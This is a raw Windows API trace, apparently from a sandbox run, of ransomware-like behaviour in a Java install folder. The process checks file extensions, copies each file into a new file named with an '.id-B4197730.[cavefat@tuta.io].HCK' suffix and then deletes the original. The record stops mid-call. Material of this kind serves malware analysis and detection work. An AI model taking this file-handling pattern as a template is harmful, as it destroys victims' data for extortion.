lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0226.393] lstrlenW (lpString=".zip") returned 4 [0226.393] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0226.393] lstrlenW (lpString=".rar") returned 4 [0226.393] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0226.393] lstrlenW (lpString=".bz2") returned 4 [0226.393] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0226.393] lstrlenW (lpString=".7z") returned 3 [0226.393] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0226.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0226.393] lstrlenW (lpString=".dbf") returned 4 [0226.393] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0226.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0226.393] lstrlenW (lpString=".1cd") returned 4 [0226.393] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0226.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0226.393] lstrlenW (lpString=".jpg") returned 4 [0226.393] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0226.393] lstrcmpiW (lpString1=".jar", lpString2=".HCK") returned 1 [0226.393] lstrlenW (lpString="cldrdata.jar") returned 12 [0226.393] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0226.394] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=3860502) returned 1 [0226.394] CloseHandle (hObject=0x458) returned 1 [0226.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar")) returned 0x20 [0226.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.399] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0226.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0226.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0226.399] lstrlenW (lpString=".doc") returned 4 [0226.399] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0226.399] lstrlenW (lpString=".docx") returned 5 [0226.399] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0226.399] lstrlenW (lpString=".pdf") returned 4 [0226.399] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0226.399] lstrlenW (lpString=".xls") returned 4 [0226.399] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0226.399] lstrlenW (lpString=".xlsx") returned 5 [0226.399] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0226.399] lstrlenW (lpString=".ppt") returned 4 [0226.400] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0226.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0226.400] lstrlenW (lpString=".zip") returned 4 [0226.400] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0226.400] lstrlenW (lpString=".rar") returned 4 [0226.400] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0226.400] lstrlenW (lpString=".bz2") returned 4 [0226.400] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0226.400] lstrlenW (lpString=".7z") returned 3 [0226.400] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0226.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0226.400] lstrlenW (lpString=".dbf") returned 4 [0226.400] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0226.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0226.400] lstrlenW (lpString=".1cd") returned 4 [0226.400] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0226.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0226.400] lstrlenW (lpString=".jpg") returned 4 [0226.400] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0226.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0226.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0226.400] lstrlenW (lpString=".doc") returned 4 [0226.400] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0226.400] lstrlenW (lpString=".docx") returned 5 [0226.400] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0226.400] lstrlenW (lpString=".pdf") returned 4 [0226.400] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0226.400] lstrlenW (lpString=".xls") returned 4 [0226.400] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0226.400] lstrlenW (lpString=".xlsx") returned 5 [0226.400] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0226.400] lstrlenW (lpString=".ppt") returned 4 [0226.400] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0226.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0226.400] lstrlenW (lpString=".zip") returned 4 [0226.400] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0226.400] lstrlenW (lpString=".rar") returned 4 [0226.400] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0226.400] lstrlenW (lpString=".bz2") returned 4 [0226.400] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0226.400] lstrlenW (lpString=".7z") returned 3 [0226.400] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0226.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0226.400] lstrlenW (lpString=".dbf") returned 4 [0226.400] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0226.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0226.400] lstrlenW (lpString=".1cd") returned 4 [0226.400] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0226.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0226.400] lstrlenW (lpString=".jpg") returned 4 [0226.400] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0226.401] lstrcmpiW (lpString1=".jar", lpString2=".HCK") returned 1 [0226.401] lstrlenW (lpString="dnsns.jar") returned 9 [0226.401] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0226.401] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=8286) returned 1 [0226.401] CloseHandle (hObject=0x458) returned 1 [0226.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 0x20 [0226.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.402] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0226.402] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.402] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.402] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0226.402] GetLastError () returned 0x0 [0226.402] ReadFile (in: hFile=0x458, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x205e, lpOverlapped=0x0) returned 1 [0226.404] WriteFile (in: hFile=0x448, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x2060, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x2060, lpOverlapped=0x0) returned 1 [0226.405] ReadFile (in: hFile=0x458, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.405] WriteFile (in: hFile=0x448, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xe6, lpOverlapped=0x0) returned 1 [0226.405] SetEndOfFile (hFile=0x448) returned 1 [0226.405] CloseHandle (hObject=0x448) returned 1 [0226.406] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.406] SetEndOfFile (hFile=0x458) returned 1 [0226.409] CloseHandle (hObject=0x458) returned 1 [0226.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0226.409] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 1 [0226.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0226.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0226.410] lstrlenW (lpString=".doc") returned 4 [0226.410] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0226.410] lstrlenW (lpString=".docx") returned 5 [0226.410] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0226.410] lstrlenW (lpString=".pdf") returned 4 [0226.410] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0226.410] lstrlenW (lpString=".xls") returned 4 [0226.410] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0226.410] lstrlenW (lpString=".xlsx") returned 5 [0226.410] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0226.410] lstrlenW (lpString=".ppt") returned 4 [0226.410] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0226.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0226.410] lstrlenW (lpString=".zip") returned 4 [0226.410] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0226.410] lstrlenW (lpString=".rar") returned 4 [0226.410] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0226.410] lstrlenW (lpString=".bz2") returned 4 [0226.410] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0226.410] lstrlenW (lpString=".7z") returned 3 [0226.410] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0226.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0226.410] lstrlenW (lpString=".dbf") returned 4 [0226.410] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0226.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0226.410] lstrlenW (lpString=".1cd") returned 4 [0226.410] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0226.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0226.410] lstrlenW (lpString=".jpg") returned 4 [0226.410] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0226.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0226.410] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0226.410] lstrlenW (lpString=".doc") returned 4 [0226.410] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0226.411] lstrlenW (lpString=".docx") returned 5 [0226.411] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0226.411] lstrlenW (lpString=".pdf") returned 4 [0226.411] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0226.411] lstrlenW (lpString=".xls") returned 4 [0226.411] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0226.411] lstrlenW (lpString=".xlsx") returned 5 [0226.411] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0226.411] lstrlenW (lpString=".ppt") returned 4 [0226.411] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0226.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0226.411] lstrlenW (lpString=".zip") returned 4 [0226.411] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0226.411] lstrlenW (lpString=".rar") returned 4 [0226.411] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0226.411] lstrlenW (lpString=".bz2") returned 4 [0226.411] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0226.411] lstrlenW (lpString=".7z") returned 3 [0226.411] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0226.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0226.411] lstrlenW (lpString=".dbf") returned 4 [0226.411] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0226.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0226.411] lstrlenW (lpString=".1cd") returned 4 [0226.411] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0226.411] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0226.411] lstrlenW (lpString=".jpg") returned 4 [0226.411] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0226.411] lstrcmpiW (lpString1=".jar", lpString2=".HCK") returned 1 [0226.411] lstrlenW (lpString="jaccess.jar") returned 11 [0226.411] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0226.412] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=44516) returned 1 [0226.413] CloseHandle (hObject=0x458) returned 1 [0226.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 0x20 [0226.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.413] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0226.413] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.413] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.413] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0226.415] GetLastError () returned 0x0 [0226.416] ReadFile (in: hFile=0x458, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0xade4, lpOverlapped=0x0) returned 1 [0226.722] WriteFile (in: hFile=0x448, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xadf0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xadf0, lpOverlapped=0x0) returned 1 [0226.723] ReadFile (in: hFile=0x458, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.723] WriteFile (in: hFile=0x448, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xea, lpOverlapped=0x0) returned 1 [0226.723] SetEndOfFile (hFile=0x448) returned 1 [0226.723] CloseHandle (hObject=0x448) returned 1 [0226.723] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.723] SetEndOfFile (hFile=0x458) returned 1 [0226.726] CloseHandle (hObject=0x458) returned 1 [0226.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0226.726] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 1 [0226.727] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0226.727] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0226.727] lstrlenW (lpString=".doc") returned 4 [0226.727] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0226.727] lstrlenW (lpString=".docx") returned 5 [0226.727] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0226.727] lstrlenW (lpString=".pdf") returned 4 [0226.727] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0226.727] lstrlenW (lpString=".xls") returned 4 [0226.727] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0226.727] lstrlenW (lpString=".xlsx") returned 5 [0226.727] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0226.727] lstrlenW (lpString=".ppt") returned 4 [0226.727] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0226.727] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0226.727] lstrlenW (lpString=".zip") returned 4 [0226.727] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0226.727] lstrlenW (lpString=".rar") returned 4 [0226.727] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0226.727] lstrlenW (lpString=".bz2") returned 4 [0226.727] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0226.727] lstrlenW (lpString=".7z") returned 3 [0226.727] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0226.727] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0226.727] lstrlenW (lpString=".dbf") returned 4 [0226.727] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0226.727] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0226.727] lstrlenW (lpString=".1cd") returned 4 [0226.727] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0226.727] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0226.727] lstrlenW (lpString=".jpg") returned 4 [0226.727] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0226.727] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0226.727] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0226.727] lstrlenW (lpString=".doc") returned 4 [0226.727] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0226.727] lstrlenW (lpString=".docx") returned 5 [0226.727] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0226.727] lstrlenW (lpString=".pdf") returned 4 [0226.727] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0226.727] lstrlenW (lpString=".xls") returned 4 [0226.728] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0226.728] lstrlenW (lpString=".xlsx") returned 5 [0226.728] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0226.728] lstrlenW (lpString=".ppt") returned 4 [0226.728] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0226.728] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0226.728] lstrlenW (lpString=".zip") returned 4 [0226.728] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0226.728] lstrlenW (lpString=".rar") returned 4 [0226.728] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0226.728] lstrlenW (lpString=".bz2") returned 4 [0226.728] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0226.728] lstrlenW (lpString=".7z") returned 3 [0226.728] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0226.728] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0226.728] lstrlenW (lpString=".dbf") returned 4 [0226.728] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0226.728] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0226.728] lstrlenW (lpString=".1cd") returned 4 [0226.728] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0226.728] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0226.728] lstrlenW (lpString=".jpg") returned 4 [0226.728] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0226.728] lstrcmpiW (lpString1=".properties", lpString2=".HCK") returned 1 [0226.728] lstrlenW (lpString="flavormap.properties") returned 20 [0226.728] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0226.729] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=3928) returned 1 [0226.729] CloseHandle (hObject=0x458) returned 1 [0226.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 0x20 [0226.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.729] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0226.729] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.729] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.729] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0226.730] GetLastError () returned 0x0 [0226.730] ReadFile (in: hFile=0x458, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0xf58, 